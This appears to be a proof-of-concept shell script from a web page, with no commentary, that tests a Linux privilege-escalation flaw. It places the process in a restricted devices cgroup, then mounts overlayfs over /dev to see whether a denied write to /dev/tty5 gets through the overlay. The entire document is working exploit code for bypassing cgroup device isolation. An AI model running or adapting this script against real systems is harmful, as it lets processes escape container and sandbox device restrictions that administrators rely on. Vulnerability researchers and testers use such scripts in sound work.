ddir=`cat /proc/self/mountinfo | grep cgroup | grep devices | awk '{ print $5 }'`
if [ "x$ddir" = "x" ]; then
echo "couldn't find devices cgroup mountpoint"
exit 1
fi
ndir=`mktemp -d --tmpdir=$ddir exploit-XXXX`
odir=`mktemp -d --tmpdir=/mnt exploit-XXXX`
udir=`mktemp -d --tmpdir=/tmp exploit-XXX`
mount -t overlayfs -oupperdir=$udir,lowerdir=/dev none $odir
echo $$ > $ndir/tasks
echo a > $ndir/devices.deny
echo "c 4:5 m" > $ndir/devices.allow
echo "devices.list: XXXXXXXXXXXXXXX"
cat $ndir/devices.list
echo "XXXXXXXXXXXX"
echo x > /dev/tty5
echo "write to /dev/tty5 returned $?"
echo y > $odir/tty5
echo "write to $odir/tty5 returned $?"
umount $odir
rmdir $odir
rm -rf $udir
echo $$ > $ddir/tasks
rmdir $ndir
Recommended Comments